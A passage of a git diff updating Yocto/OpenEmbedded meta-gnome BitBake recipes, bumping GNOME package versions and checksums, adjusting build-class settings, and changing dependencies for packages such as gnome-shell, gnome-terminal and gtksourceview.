+GTKIC_VERSION = "4"
+inherit gnomebase gsettings pkgconfig gtk-icon-cache
+
+DEPENDS = " \
+ desktop-file-utils-native \
+ gtk4-native \
+ glib-2.0 \
+ gsettings-desktop-schemas \
+ hicolor-icon-theme \
+ libadwaita \
+ libgtop \
+ pcre2 \
+ vte9 \
+"
+
+SRC_URI[archive.sha256sum] = "e7462128d2df2324a1d748062c40429cd0504af09e407067b33f3a9d0c59c8e1"
+
+PACKAGECONFIG ?= ""
+PACKAGECONFIG[tests] = "-Dtests=true,-Dtests=false"
+PACKAGECONFIG[devel] = "-Ddevel=true,-Ddevel=false"
+
+FILES:${PN} += "${datadir}"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gnome-control-center/gnome-control-center_45.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/gnome-control-center/gnome-control-center_45.1.bb
index 29c9f3c48c..8402fcea91 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gnome-control-center/gnome-control-center_45.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gnome-control-center/gnome-control-center_45.1.bb
@@ -3,7 +3,6 @@ DESCRIPTION = "GNOME Settings is GNOME's main interface for configuration of var
LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=75859989545e37968a99b631ef42722e"
-GNOMEBASEBUILDCLASS = "meson"
GTKIC_VERSION = "4"
DEPENDS = " \
@@ -39,7 +38,7 @@ inherit gtk-icon-cache pkgconfig gnomebase gsettings gettext upstream-version-is
REQUIRED_DISTRO_FEATURES += "opengl polkit pulseaudio systemd x11"
SRC_URI += "file://0001-Add-meson-option-to-pass-sysroot.patch"
-SRC_URI[archive.sha256sum] = "83df6a90f98914f2c19a872ce06562acef40927637f679c383099265ccfa42cf"
+SRC_URI[archive.sha256sum] = "d286c7627150e112aacbb4b7b91717fad8e89076061479dfc610b2dd744b577a"
PACKAGECONFIG ??= "ibus ${@bb.utils.filter('DISTRO_FEATURES', 'wayland', d)}"
PACKAGECONFIG[cups] = ",,cups,cups"
@@ -68,4 +67,4 @@ FILES:${PN} += " \
FILES:${PN}-dev += "${datadir}/gettext"
-RDEPENDS:${PN} += "gsettings-desktop-schemas tecla"
+RDEPENDS:${PN} += "gsettings-desktop-schemas tecla system-config-printer cups-pk-helper"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gnome-desktop/gnome-desktop_44.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/gnome-desktop/gnome-desktop_44.0.bb
index 03411c88d9..19bae74ce2 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gnome-desktop/gnome-desktop_44.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gnome-desktop/gnome-desktop_44.0.bb
@@ -6,7 +6,6 @@ LIC_FILES_CHKSUM = " \
file://COPYING.LIB;md5=5f30f0716dfdd0d91eb439ebec522ec2 \
"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase itstool pkgconfig upstream-version-is-even gobject-introspection features_check gtk-doc
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gnome-disk-utility/gnome-disk-utility_44.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/gnome-disk-utility/gnome-disk-utility_45.0.bb
index d8674fca24..4f3738cfb5 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gnome-disk-utility/gnome-disk-utility_44.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gnome-disk-utility/gnome-disk-utility_45.0.bb
@@ -16,7 +16,6 @@ DEPENDS = " \
xz \
"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase gsettings gtk-icon-cache gettext features_check mime-xdg
@@ -30,7 +29,7 @@ PACKAGECONFIG[systemd] = "-Dlogind=libsystemd,-Dlogind=none,systemd"
PACKAGECONFIG[x11] = ",,libcanberra"
SRC_URI:append = " ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'file://0001-gnome-disk-utility-remove-libcanberra-dependency.patch', '', d)}"
-SRC_URI[archive.sha256sum] = "02031097896cdb37d8717a5823f93e3723d4dfce7fdc4002c9dfcb16b7e7a3ef"
+SRC_URI[archive.sha256sum] = "3d8625faa99047bc4aefd29921ad728ab4d700cff86e0f2ec67e8dba877d0dd3"
EXTRA_OEMESON = "-Dman=false"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gnome-flashback/gnome-flashback_3.46.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/gnome-flashback/gnome-flashback_3.46.0.bb
index 597cdbab95..cf1122714f 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gnome-flashback/gnome-flashback_3.46.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gnome-flashback/gnome-flashback_3.46.0.bb
@@ -2,6 +2,7 @@ SUMMARY = "GNOME Flashback (GNOME 2) session"
LICENSE = "GPL-3.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+GNOMEBASEBUILDCLASS = "autotools"
inherit gnomebase gsettings gtk-icon-cache gettext upstream-version-is-even features_check
REQUIRED_DISTRO_FEATURES = "x11 polkit systemd pam"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gnome-font-viewer/gnome-font-viewer_44.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/gnome-font-viewer/gnome-font-viewer_45.0.bb
index ff5e1e2c8c..629bc71865 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gnome-font-viewer/gnome-font-viewer_44.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gnome-font-viewer/gnome-font-viewer_45.0.bb
@@ -10,13 +10,12 @@ DEPENDS = " \
libadwaita \
"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase gtk-icon-cache gettext features_check mime-xdg
REQUIRED_DISTRO_FEATURES = "x11 opengl"
-SRC_URI[archive.sha256sum] = "a1511df30b228cc2ef1175dd9d2b93438ea912e25913404b263cf3d457bb9f97"
+SRC_URI[archive.sha256sum] = "97cb6b68dda60de0ab3038383586f1e4bc1da5a48f44025bd6bbe74ea05c2b08"
FILES:${PN} += " \
${datadir}/dbus-1 \
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gnome-keyring/gnome-keyring_42.1.bb b/meta-openembedded/meta-gnome/recipes-gnome/gnome-keyring/gnome-keyring_42.1.bb
index 241a94cd70..65c22e6392 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gnome-keyring/gnome-keyring_42.1.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gnome-keyring/gnome-keyring_42.1.bb
@@ -17,6 +17,7 @@ DEPENDS = " \
${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)} \
"
+GNOMEBASEBUILDCLASS = "autotools"
inherit gnomebase gsettings features_check gettext
ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gnome-menus/gnome-menus_3.36.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/gnome-menus/gnome-menus_3.36.0.bb
index fa162510cb..47b6733e48 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gnome-menus/gnome-menus_3.36.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gnome-menus/gnome-menus_3.36.0.bb
@@ -6,6 +6,7 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
DEPENDS = "glib-2.0"
+GNOMEBASEBUILDCLASS = "autotools"
inherit gnomebase gettext pkgconfig gobject-introspection upstream-version-is-even
SRC_URI[archive.md5sum] = "a8fd71fcf31a87fc799d80396a526829"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gnome-online-accounts/gnome-online-accounts_3.48.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/gnome-online-accounts/gnome-online-accounts_3.48.0.bb
index cd14b48508..47b234e235 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gnome-online-accounts/gnome-online-accounts_3.48.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gnome-online-accounts/gnome-online-accounts_3.48.0.bb
@@ -2,7 +2,6 @@ SUMMARY = "GNOME Online Accounts - Single sign-on framework for GNOME"
LICENSE = "LGPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=34c88b124db5fb2762c1676be7dadd36"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase gsettings gobject-introspection gtk-icon-cache vala features_check
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gnome-panel/gnome-panel_3.47.1.bb b/meta-openembedded/meta-gnome/recipes-gnome/gnome-panel/gnome-panel_3.47.1.bb
index 8380c51edf..02a8b01b26 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gnome-panel/gnome-panel_3.47.1.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gnome-panel/gnome-panel_3.47.1.bb
@@ -2,6 +2,7 @@ SUMMARY = "GNOME flashback panel"
LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+GNOMEBASEBUILDCLASS = "autotools"
inherit gnomebase gsettings itstool gnome-help gtk-icon-cache gettext upstream-version-is-even features_check
REQUIRED_DISTRO_FEATURES = "x11 polkit systemd pam"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gnome-photos/gnome-photos_44.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/gnome-photos/gnome-photos_44.0.bb
index 066a50e525..4b05e52ca0 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gnome-photos/gnome-photos_44.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gnome-photos/gnome-photos_44.0.bb
@@ -24,7 +24,6 @@ DEPENDS = " \
RDEPENDS:${PN} = "tracker-miners"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase gettext gnome-help features_check
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gnome-screenshot/gnome-screenshot_41.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/gnome-screenshot/gnome-screenshot_41.0.bb
index fa7e161e9e..4f82492e61 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gnome-screenshot/gnome-screenshot_41.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gnome-screenshot/gnome-screenshot_41.0.bb
@@ -6,8 +6,6 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552"
SECTION = "x11/gnome"
-GNOMEBASEBUILDCLASS = "meson"
-
inherit features_check gnomebase gettext upstream-version-is-even pkgconfig
SRC_URI += " file://0001-meson-remove-extraneous-positional-argument.patch"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gnome-session/gnome-session_45.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/gnome-session/gnome-session_45.0.bb
index ec5b47b970..c5e27af588 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gnome-session/gnome-session_45.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gnome-session/gnome-session_45.0.bb
@@ -16,7 +16,6 @@ DEPENDS = " \
json-glib \
"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase gettext gsettings upstream-version-is-even features_check
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gnome-settings-daemon/gnome-settings-daemon_45.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/gnome-settings-daemon/gnome-settings-daemon_45.0.bb
index 16b7f23671..90df8bbd0c 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gnome-settings-daemon/gnome-settings-daemon_45.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gnome-settings-daemon/gnome-settings-daemon_45.0.bb
@@ -2,7 +2,6 @@ SUMMARY = "Window navigation construction toolkit"
LICENSE = "LGPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase gsettings gobject-introspection gettext features_check upstream-version-is-even
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gnome-shell/gnome-shell-extensions_44.1.bb b/meta-openembedded/meta-gnome/recipes-gnome/gnome-shell/gnome-shell-extensions_45.1.bb
index 126e5ef3f7..cfc01c7daf 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gnome-shell/gnome-shell-extensions_44.1.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gnome-shell/gnome-shell-extensions_45.1.bb
@@ -2,13 +2,11 @@ SUMMARY = "GNOME Shell Extensions"
LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=4cb3a392cbf81a9e685ec13b88c4c101"
-GNOMEBASEBUILDCLASS = "meson"
-
inherit gnomebase gettext gsettings features_check
REQUIRED_DISTRO_FEATURES = "x11 polkit systemd pam gobject-introspection-data"
-SRC_URI[archive.sha256sum] = "8c345e72f31a1e37f55063e0b15997301b01194ed698772fd87aeb50cbb101ab"
+SRC_URI[archive.sha256sum] = "242e15a0c06e820c3fd8dd6aeac1a8ef865ce58882e5975af1d65934bb4d4261"
EXTRA_OEMESON += " \
-Dextension_set=all \
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gnome-shell/gnome-shell_45.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/gnome-shell/gnome-shell_45.1.bb
index 66c05a1ff1..d35437cb51 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gnome-shell/gnome-shell_45.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gnome-shell/gnome-shell_45.1.bb
@@ -2,7 +2,6 @@ SUMMARY = "GNOME Shell is the graphical shell of the GNOME desktop environment"
LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-GNOMEBASEBUILDCLASS = "meson"
DEPENDS = " \
libxml2-native \
@@ -13,8 +12,9 @@ DEPENDS = " \
geocode-glib \
gjs \
gnome-autoar \
+ gnome-desktop \
polkit \
- libcroco \
+ pipewire \
libsoup-3.0 \
${@bb.utils.contains('DISTRO_FEATURES', 'wayland', '', 'startup-notification', d)} \
ibus \
@@ -32,12 +32,12 @@ GIR_MESON_OPTION = ""
# gobject-introspection is mandatory and cannot be configured
REQUIRED_DISTRO_FEATURES += "gobject-introspection-data"
-SRC_URI[archive.sha256sum] = "3cabe40bdd4e379c7082b39ffa45b8bef5c9cf86408fb0d836e1571c443217cd"
+SRC_URI[archive.sha256sum] = "15fca4bd6129a8b3f990197fbd1ee58d74b641510afaaf0882a7fa36634fc5f2"
SRC_URI += "file://0001-Introduce-options-gjs_path-to-optionally-set-path-to.patch"
PACKAGECONFIG ??= "bluetooth nm ${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
PACKAGECONFIG[bluetooth] = ",,gnome-bluetooth"
-PACKAGECONFIG[nm] = "-Dnetworkmanager=true, -Dnetworkmanager=false,networkmanager,networkmanager"
+PACKAGECONFIG[nm] = "-Dnetworkmanager=true, -Dnetworkmanager=false,networkmanager libsecret,networkmanager"
PACKAGECONFIG[systemd] = "-Dsystemd=true, -Dsystemd=false, systemd"
EXTRA_OEMESON = " \
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gnome-software/gnome-software_45.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/gnome-software/gnome-software_45.1.bb
index 89a6f05f4f..f363a2bbee 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gnome-software/gnome-software_45.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gnome-software/gnome-software_45.1.bb
@@ -2,7 +2,6 @@ SUMMARY = "GNOME Software allows users to easily find, discover and install apps
LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-GNOMEBASEBUILDCLASS = "meson"
GTKDOC_MESON_OPTION ?= "gtk_doc"
inherit gnomebase gsettings itstool gnome-help gtk-icon-cache gtk-doc mime mime-xdg gettext upstream-version-is-even features_check
@@ -29,7 +28,7 @@ RDEPENDS:${PN} = "iso-codes"
EXTRA_OEMESON += "-Dtests=false -Dsoup2=false"
-SRC_URI[archive.sha256sum] = "61f42c2fd4d19b894a2484f691369032dc8b2a32a014ce6ca4d02c4fa4f75a14"
+SRC_URI[archive.sha256sum] = "d72485f7a6e0917f64edbedd68fd7b57246c6ebf10c5a45108b63946635778a2"
PACKAGECONFIG ?= "flatpak"
PACKAGECONFIG[flatpak] = "-Dflatpak=true,-Dflatpak=false,flatpak ostree"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gnome-system-monitor/gnome-system-monitor_45.0.1.bb b/meta-openembedded/meta-gnome/recipes-gnome/gnome-system-monitor/gnome-system-monitor_45.0.1.bb
index c8130d27e8..b90bbb8e5c 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gnome-system-monitor/gnome-system-monitor_45.0.1.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gnome-system-monitor/gnome-system-monitor_45.0.1.bb
@@ -13,7 +13,6 @@ DEPENDS = " \
libhandy \
"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase gsettings gnome-help itstool gtk-icon-cache features_check gettext
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gnome-terminal/gnome-terminal_3.48.1.bb b/meta-openembedded/meta-gnome/recipes-gnome/gnome-terminal/gnome-terminal_3.50.1.bb
index 13b440dfec..014b329b34 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gnome-terminal/gnome-terminal_3.48.1.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gnome-terminal/gnome-terminal_3.50.1.bb
@@ -5,9 +5,7 @@ LIC_FILES_CHKSUM = " \
file://COPYING.GFDL;md5=a22d0be1ce2284b67950a4d1673dd1b0 \
"
-GNOMEBASEBUILDCLASS = "meson"
-
-inherit pkgconfig meson gsettings gnome-help gettext itstool upstream-version-is-even
+inherit gnomebase pkgconfig gsettings gnome-help gettext itstool upstream-version-is-even
DEPENDS = " \
glib-2.0 \
@@ -15,15 +13,16 @@ DEPENDS = " \
desktop-file-utils-native \
gtk+3 \
gsettings-desktop-schemas \
- vte \
+ vte9 \
dconf \
+ libhandy \
libpcre2 \
"
SRC_URI = "git://gitlab.gnome.org/GNOME/gnome-terminal.git;protocol=https;nobranch=1 \
file://0001-Add-W_EXITCODE-macro-for-non-glibc-systems.patch \
"
-SRCREV = "1446ff0abc478bdd03c6665b718214d075729024"
+SRCREV = "5ac3b8e4bd6fa02651b3c23cedb0a7e1cd769655"
S = "${WORKDIR}/git"
PACKAGECONFIG ?= ""
@@ -36,4 +35,4 @@ FILES:${PN} += " \
${systemd_user_unitdir} \
"
-RRECOMMENDS:${PN} += "vte-prompt gsettings-desktop-schemas"
+RRECOMMENDS:${PN} += "gsettings-desktop-schemas"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gnome-text-editor/gnome-text-editor_45.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/gnome-text-editor/gnome-text-editor_45.1.bb
index 52bb92ee9e..2d310bd05a 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gnome-text-editor/gnome-text-editor_45.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gnome-text-editor/gnome-text-editor_45.1.bb
@@ -2,7 +2,6 @@ SUMMARY = "A simple text editor"
LICENSE = "GPL-3.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=8f0e2cd40e05189ec81232da84bd6e1a"
-GNOMEBASEBUILDCLASS = "meson"
DEPENDS = " \
desktop-file-utils-native \
@@ -19,7 +18,7 @@ inherit gnomebase gtk-icon-cache itstool gnome-help mime-xdg features_check
REQUIRED_DISTRO_FEATURES = "opengl"
-SRC_URI[archive.sha256sum] = "47b3fbe4900eb204413d9af3ae8e0ecd06728d2ac15d02b1a050d02d47226bc1"
+SRC_URI[archive.sha256sum] = "6a86ec9920f466b6ed92695524d3b507b1e84272dafa5341d06a157de868af71"
FILES:${PN} += " \
${datadir}/metainfo \
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gnome-tweaks/gnome-tweaks_40.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/gnome-tweaks/gnome-tweaks_40.0.bb
index ffdf2c9d38..a8d6a2ad69 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gnome-tweaks/gnome-tweaks_40.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gnome-tweaks/gnome-tweaks_40.0.bb
@@ -7,7 +7,6 @@ LIC_FILES_CHKSUM = " \
DEPENDS = "libhandy"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase gtk-icon-cache gobject-introspection features_check
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/grilo/grilo-plugins_0.3.16.bb b/meta-openembedded/meta-gnome/recipes-gnome/grilo/grilo-plugins_0.3.16.bb
index 91cbe82ea9..40603993f3 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/grilo/grilo-plugins_0.3.16.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/grilo/grilo-plugins_0.3.16.bb
@@ -11,7 +11,6 @@ DEPENDS = " \
liboauth \
"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase gnome-help vala
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/grilo/grilo_0.3.16.bb b/meta-openembedded/meta-gnome/recipes-gnome/grilo/grilo_0.3.16.bb
index e86f75f0c8..14e1ca9fe1 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/grilo/grilo_0.3.16.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/grilo/grilo_0.3.16.bb
@@ -7,7 +7,6 @@ DEPENDS = " \
glib-2.0 \
"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase gobject-introspection gtk-doc gettext vala
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gsound/gsound_1.0.3.bb b/meta-openembedded/meta-gnome/recipes-gnome/gsound/gsound_1.0.3.bb
index bdef603f0d..6a50c22c73 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gsound/gsound_1.0.3.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gsound/gsound_1.0.3.bb
@@ -7,7 +7,8 @@ DEPENDS = " \
libcanberra \
"
-GNOMEBASEBUILDCLASS = "meson"
+
+VALA_MESON_OPTION = "enable_vala"
inherit gnomebase gettext gobject-introspection vala
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gspell/gspell_1.12.2.bb b/meta-openembedded/meta-gnome/recipes-gnome/gspell/gspell_1.12.2.bb
index 389f2fd48c..67e64915b4 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gspell/gspell_1.12.2.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gspell/gspell_1.12.2.bb
@@ -5,6 +5,7 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=8c2e1ec1540fb3e0beb68361344cba7e"
DEPENDS = "gtk+3 iso-codes enchant2"
+GNOMEBASEBUILDCLASS = "autotools"
inherit gnomebase gettext gobject-introspection vala
SRC_URI[archive.sha256sum] = "b4e993bd827e4ceb6a770b1b5e8950fce3be9c8b2b0cbeb22fdf992808dd2139"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gthumb/gthumb_3.12.2.bb b/meta-openembedded/meta-gnome/recipes-gnome/gthumb/gthumb_3.12.2.bb
index 92152aca69..ecf8f6ab50 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gthumb/gthumb_3.12.2.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gthumb/gthumb_3.12.2.bb
@@ -2,7 +2,6 @@ SUMMARY = "Image viewer and browser"
LICENSE="GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552"
-GNOMEBASEBUILDCLASS = "meson"
REQUIRED_DISTRO_FEATURES = "polkit gobject-introspection-data"
@@ -24,6 +23,7 @@ DEPENDS = " \
libsecret \
"
+GNOMEBASEBUILDCLASS = "autotools"
inherit features_check gnomebase gnome-help gsettings itstool mime-xdg
SRC_URI[archive.sha256sum] = "97f8afe522535216541ebbf1e3b546d12a6beb38a8f0eb85f26e676934aad425"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gtksourceview/gtksourceview3_3.24.11.bb b/meta-openembedded/meta-gnome/recipes-gnome/gtksourceview/gtksourceview3_3.24.11.bb
index 1e5652d3bd..75f199b10f 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gtksourceview/gtksourceview3_3.24.11.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gtksourceview/gtksourceview3_3.24.11.bb
@@ -10,6 +10,7 @@ PNAME = "gtksourceview"
S = "${WORKDIR}/${PNAME}-${PV}"
+GNOMEBASEBUILDCLASS = "autotools"
inherit gnomebase lib_package gettext features_check gtk-doc gobject-introspection upstream-version-is-even
REQUIRED_DISTRO_FEATURES = "x11"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gtksourceview/gtksourceview4_4.8.2.bb b/meta-openembedded/meta-gnome/recipes-gnome/gtksourceview/gtksourceview4_4.8.4.bb
index 979da792f7..6acd00324b 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gtksourceview/gtksourceview4_4.8.2.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gtksourceview/gtksourceview4_4.8.4.bb
@@ -10,14 +10,13 @@ PNAME = "gtksourceview"
S = "${WORKDIR}/${PNAME}-${PV}"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase lib_package gettext features_check gtk-doc gobject-introspection vala
ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
SRC_URI = "https://download.gnome.org/sources/gtksourceview/4.8/${PNAME}-${PV}.tar.xz"
-SRC_URI[sha256sum] = "842de7e5cb52000fd810e4be39cd9fe29ffa87477f15da85c18f7b82d45637cc"
+SRC_URI[sha256sum] = "7ec9d18fb283d1f84a3a3eff3b7a72b09a10c9c006597b3fbabbb5958420a87d"
GIR_MESON_OPTION = 'gir'
GTKDOC_MESON_OPTION = "gtk_doc"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gtksourceview/gtksourceview5_5.7.1.bb b/meta-openembedded/meta-gnome/recipes-gnome/gtksourceview/gtksourceview5_5.10.0.bb
index 4eaecbf086..f43fe2cf53 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gtksourceview/gtksourceview5_5.7.1.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gtksourceview/gtksourceview5_5.10.0.bb
@@ -19,14 +19,13 @@ PNAME = "gtksourceview"
S = "${WORKDIR}/${PNAME}-${PV}"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase lib_package gettext features_check gi-docgen gtk-icon-cache gobject-introspection vala
REQUIRED_DISTRO_FEATURES = "opengl"
-SRC_URI = "https://download.gnome.org/sources/gtksourceview/5.7/${PNAME}-${PV}.tar.xz"
-SRC_URI[sha256sum] = "3b42541964db9c2fa50a9658d4886bdf77d023fe4e96c5b17bce51c9f58c48e6"
+SRC_URI = "https://download.gnome.org/sources/gtksourceview/5.10/${PNAME}-${PV}.tar.xz"
+SRC_URI[sha256sum] = "b38a3010c34f59e13b05175e9d20ca02a3110443fec2b1e5747413801bc9c23f"
GIR_MESON_ENABLE_FLAG = 'enabled'
GIR_MESON_DISABLE_FLAG = 'disabled'
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/gvfs/gvfs_1.52.0.bb b/meta-openembedded/meta-gnome/recipes-gnome/gvfs/gvfs_1.52.1.bb
index d5103d865a..627b499fe8 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/gvfs/gvfs_1.52.0.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/gvfs/gvfs_1.52.1.bb
@@ -2,7 +2,6 @@ DESCRIPTION = "gvfs is a userspace virtual filesystem"
LICENSE = "LGPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=05df38dd77c35ec8431f212410a3329e"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase gsettings bash-completion gettext upstream-version-is-even features_check useradd
DEPENDS += "\
@@ -20,7 +19,7 @@ RDEPENDS:${PN} += "gsettings-desktop-schemas"
SRC_URI = "https://download.gnome.org/sources/${BPN}/${@gnome_verdir("${PV}")}/${BPN}-${PV}.tar.xz;name=archive"
-SRC_URI[archive.sha256sum] = "e40e2035a40bc51ce9e88eed05b025596e40bb4aaf9bc632d12ce74fdb30b1f6"
+SRC_URI[archive.sha256sum] = "cdbd4440f6d08792a6e7521244c17386e20bd537d375117099fc8fb68fe91741"
ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
diff --git a/meta-openembedded/meta-gnome/recipes-gnome/libchamplain/libchamplain_0.12.20.bb b/meta-openembedded/meta-gnome/recipes-gnome/libchamplain/libchamplain_0.12.21.bb
index 859eab9164..a89ab8cc74 100644
--- a/meta-openembedded/meta-gnome/recipes-gnome/libchamplain/libchamplain_0.12.20.bb
+++ b/meta-openembedded/meta-gnome/recipes-gnome/libchamplain/libchamplain_0.12.21.bb
@@ -1,13 +1,13 @@
SUMMARY = "libchamplain is a Gtk widget displaying zoomable and pannable maps"
LICENSE = "LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=2d5025d4aa3495befef8f17206a5b0a1"
-DEPENDS = "glib-2.0 gtk+3 gdk-pixbuf clutter-1.0 clutter-gtk-1.0 libsoup-2.4"
+DEPENDS = "glib-2.0 gtk+3 clutter-1.0 clutter-gtk-1.0 libsoup-3.0 cairo sqlite3"
